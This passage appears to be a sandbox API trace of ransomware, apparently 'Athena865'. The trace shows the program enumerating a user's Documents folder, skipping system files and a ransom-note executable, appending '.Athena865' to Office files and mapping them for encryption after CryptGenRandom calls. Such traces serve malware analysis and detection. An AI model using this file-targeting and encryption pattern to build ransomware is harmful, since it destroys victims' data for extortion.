lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2="ntuser.dat") returned 1 [0050.843] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2="perflogs") returned 1 [0050.843] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2="MSBuild") returned 1 [0050.843] lstrlenW (lpString="WB1Bcf.pptx") returned 11 [0050.843] lstrcpyW (in: lpString1=0x241e8ba, lpString2="WB1Bcf.pptx" | out: lpString1="WB1Bcf.pptx") returned="WB1Bcf.pptx" [0050.843] lstrlenW (lpString="WB1Bcf.pptx") returned 11 [0050.843] lstrlenW (lpString="Athena865") returned 9 [0050.843] lstrcmpiW (lpString1="1Bcf.pptx", lpString2="Athena865") returned -1 [0050.843] lstrlenW (lpString=".dll") returned 4 [0050.843] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2=".dll") returned 1 [0050.843] lstrlenW (lpString=".lnk") returned 4 [0050.843] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2=".lnk") returned 1 [0050.843] lstrlenW (lpString=".ini") returned 4 [0050.843] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2=".ini") returned 1 [0050.843] lstrlenW (lpString=".sys") returned 4 [0050.843] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2=".sys") returned 1 [0050.843] lstrlenW (lpString="WB1Bcf.pptx") returned 11 [0050.843] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\WB1Bcf.pptx.Athena865") returned 78 [0050.843] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\WB1Bcf.pptx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\wb1bcf.pptx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\WB1Bcf.pptx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\wb1bcf.pptx.athena865"), dwFlags=0x1) returned 1 [0050.844] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\WB1Bcf.pptx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\wb1bcf.pptx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.844] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10769) returned 1 [0050.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.844] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.845] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.845] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.846] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d20, lpName=0x0) returned 0x154 [0050.846] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d20) returned 0x100000 [0050.846] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.847] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.847] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0050.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0050.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.847] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.848] CloseHandle (hObject=0x154) returned 1 [0050.848] CloseHandle (hObject=0x17c) returned 1 [0050.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.849] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6691d10, ftCreationTime.dwHighDateTime=0x1d575b2, ftLastAccessTime.dwLowDateTime=0x82317b80, ftLastAccessTime.dwHighDateTime=0x1d4eed6, ftLastWriteTime.dwLowDateTime=0x82317b80, ftLastWriteTime.dwHighDateTime=0x1d4eed6, nFileSizeHigh=0x0, nFileSizeLow=0x3c22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ycRhOOUrcEF.docx", cAlternateFileName="YCRHOO~1.DOC")) returned 1 [0050.849] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.849] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.849] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2=".") returned 1 [0050.849] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2="..") returned 1 [0050.849] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2="windows") returned 1 [0050.849] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2="bootmgr") returned 1 [0050.849] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2="temp") returned 1 [0050.849] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2="pagefile.sys") returned 1 [0050.849] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2="boot") returned 1 [0050.849] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2="ids.txt") returned 1 [0050.849] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2="ntuser.dat") returned 1 [0050.849] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2="perflogs") returned 1 [0050.849] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2="MSBuild") returned 1 [0050.849] lstrlenW (lpString="ycRhOOUrcEF.docx") returned 16 [0050.849] lstrcpyW (in: lpString1=0x241e8ba, lpString2="ycRhOOUrcEF.docx" | out: lpString1="ycRhOOUrcEF.docx") returned="ycRhOOUrcEF.docx" [0050.849] lstrlenW (lpString="ycRhOOUrcEF.docx") returned 16 [0050.849] lstrlenW (lpString="Athena865") returned 9 [0050.849] lstrcmpiW (lpString1="rcEF.docx", lpString2="Athena865") returned 1 [0050.850] lstrlenW (lpString=".dll") returned 4 [0050.850] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2=".dll") returned 1 [0050.850] lstrlenW (lpString=".lnk") returned 4 [0050.850] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2=".lnk") returned 1 [0050.850] lstrlenW (lpString=".ini") returned 4 [0050.850] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2=".ini") returned 1 [0050.850] lstrlenW (lpString=".sys") returned 4 [0050.850] lstrcmpiW (lpString1="ycRhOOUrcEF.docx", lpString2=".sys") returned 1 [0050.850] lstrlenW (lpString="ycRhOOUrcEF.docx") returned 16 [0050.850] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ycRhOOUrcEF.docx.Athena865") returned 83 [0050.850] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ycRhOOUrcEF.docx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\ycrhoourcef.docx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ycRhOOUrcEF.docx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\ycrhoourcef.docx.athena865"), dwFlags=0x1) returned 1 [0050.851] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ycRhOOUrcEF.docx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\ycrhoourcef.docx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.851] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15394) returned 1 [0050.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.851] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.852] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.852] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.852] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f30, lpName=0x0) returned 0x154 [0050.852] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f30) returned 0x100000 [0050.853] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.853] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.853] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0050.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0050.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.854] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.854] CloseHandle (hObject=0x154) returned 1 [0050.854] CloseHandle (hObject=0x17c) returned 1 [0050.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.856] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ccb3a60, ftCreationTime.dwHighDateTime=0x1d4f71a, ftLastAccessTime.dwLowDateTime=0xade5a9b0, ftLastAccessTime.dwHighDateTime=0x1d54d11, ftLastWriteTime.dwLowDateTime=0xade5a9b0, ftLastWriteTime.dwHighDateTime=0x1d54d11, nFileSizeHigh=0x0, nFileSizeLow=0x11c55, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YJi4YRS6U.xlsx", cAlternateFileName="YJI4YR~1.XLS")) returned 1 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2=".") returned 1 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2="..") returned 1 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2="windows") returned 1 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2="bootmgr") returned 1 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2="temp") returned 1 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2="pagefile.sys") returned 1 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2="boot") returned 1 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2="ids.txt") returned 1 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2="ntuser.dat") returned 1 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2="perflogs") returned 1 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2="MSBuild") returned 1 [0050.856] lstrlenW (lpString="YJi4YRS6U.xlsx") returned 14 [0050.856] lstrcpyW (in: lpString1=0x241e8ba, lpString2="YJi4YRS6U.xlsx" | out: lpString1="YJi4YRS6U.xlsx") returned="YJi4YRS6U.xlsx" [0050.856] lstrlenW (lpString="YJi4YRS6U.xlsx") returned 14 [0050.856] lstrlenW (lpString="Athena865") returned 9 [0050.856] lstrcmpiW (lpString1="RS6U.xlsx", lpString2="Athena865") returned 1 [0050.856] lstrlenW (lpString=".dll") returned 4 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2=".dll") returned 1 [0050.856] lstrlenW (lpString=".lnk") returned 4 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2=".lnk") returned 1 [0050.856] lstrlenW (lpString=".ini") returned 4 [0050.856] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2=".ini") returned 1 [0050.857] lstrlenW (lpString=".sys") returned 4 [0050.857] lstrcmpiW (lpString1="YJi4YRS6U.xlsx", lpString2=".sys") returned 1 [0050.857] lstrlenW (lpString="YJi4YRS6U.xlsx") returned 14 [0050.857] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\YJi4YRS6U.xlsx.Athena865") returned 81 [0050.857] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\YJi4YRS6U.xlsx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\yji4yrs6u.xlsx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\YJi4YRS6U.xlsx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\yji4yrs6u.xlsx.athena865"), dwFlags=0x1) returned 1 [0050.857] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\YJi4YRS6U.xlsx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\yji4yrs6u.xlsx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.857] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=72789) returned 1 [0050.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.858] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.859] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.859] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.859] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11f60, lpName=0x0) returned 0x154 [0050.859] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11f60) returned 0x100000 [0050.861] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.862] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.862] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.862] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0050.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.862] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0050.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.863] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.863] CloseHandle (hObject=0x154) returned 1 [0050.863] CloseHandle (hObject=0x17c) returned 1 [0050.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.865] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7049c1a0, ftCreationTime.dwHighDateTime=0x1d54162, ftLastAccessTime.dwLowDateTime=0x54f65300, ftLastAccessTime.dwHighDateTime=0x1d4f513, ftLastWriteTime.dwLowDateTime=0x54f65300, ftLastWriteTime.dwHighDateTime=0x1d4f513, nFileSizeHigh=0x0, nFileSizeLow=0x1301c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZFJCJlO5OR1.xlsx", cAlternateFileName="ZFJCJL~1.XLS")) returned 1 [0050.865] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.865] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.865] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx", lpString2=".") returned 1 [0050.865] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx", lpString2="..") returned 1 [0050.865] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx", lpString2="windows") returned 1 [0050.865] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx", lpString2="bootmgr") returned 1 [0050.865] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx", lpString2="temp") returned 1 [0050.865] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx", lpString2="pagefile.sys") returned 1 [0050.865] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx", lpString2="boot") returned 1 [0050.865] lstrcpyW (in: lpString1=0x241e8ba, lpString2="ZFJCJlO5OR1.xlsx" | out: lpString1="ZFJCJlO5OR1.xlsx") returned="ZFJCJlO5OR1.xlsx" [0050.865] lstrlenW (lpString="ZFJCJlO5OR1.xlsx") returned 16 [0050.865] lstrlenW (lpString="Athena865") returned 9 [0050.865] lstrcmpiW (lpString1="5OR1.xlsx", lpString2="Athena865") returned -1 [0050.865] lstrlenW (lpString=".dll") returned 4 [0050.866] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx", lpString2=".dll") returned 1 [0050.866] lstrlenW (lpString=".lnk") returned 4 [0050.866] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx", lpString2=".lnk") returned 1 [0050.866] lstrlenW (lpString=".ini") returned 4 [0050.866] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx", lpString2=".ini") returned 1 [0050.866] lstrlenW (lpString=".sys") returned 4 [0050.866] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx", lpString2=".sys") returned 1 [0050.866] lstrlenW (lpString="ZFJCJlO5OR1.xlsx") returned 16 [0050.866] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ZFJCJlO5OR1.xlsx.Athena865") returned 83 [0050.866] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ZFJCJlO5OR1.xlsx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\zfjcjlo5or1.xlsx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ZFJCJlO5OR1.xlsx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\zfjcjlo5or1.xlsx.athena865"), dwFlags=0x1) returned 1 [0050.866] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ZFJCJlO5OR1.xlsx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\zfjcjlo5or1.xlsx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.867] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=77852) returned 1 [0050.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.867] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.868] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.868] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.868] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13320, lpName=0x0) returned 0x154 [0050.868] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13320) returned 0x100000 [0050.871] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.871] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.871] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0050.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0050.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.872] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.873] CloseHandle (hObject=0x154) returned 1 [0050.873] CloseHandle (hObject=0x17c) returned 1 [0050.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.875] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7049c1a0, ftCreationTime.dwHighDateTime=0x1d54162, ftLastAccessTime.dwLowDateTime=0x54f65300, ftLastAccessTime.dwHighDateTime=0x1d4f513, ftLastWriteTime.dwLowDateTime=0x54f65300, ftLastWriteTime.dwHighDateTime=0x1d4f513, nFileSizeHigh=0x0, nFileSizeLow=0x1301c, dwReserved0=0xa0000003, dwReserved1=0x0, 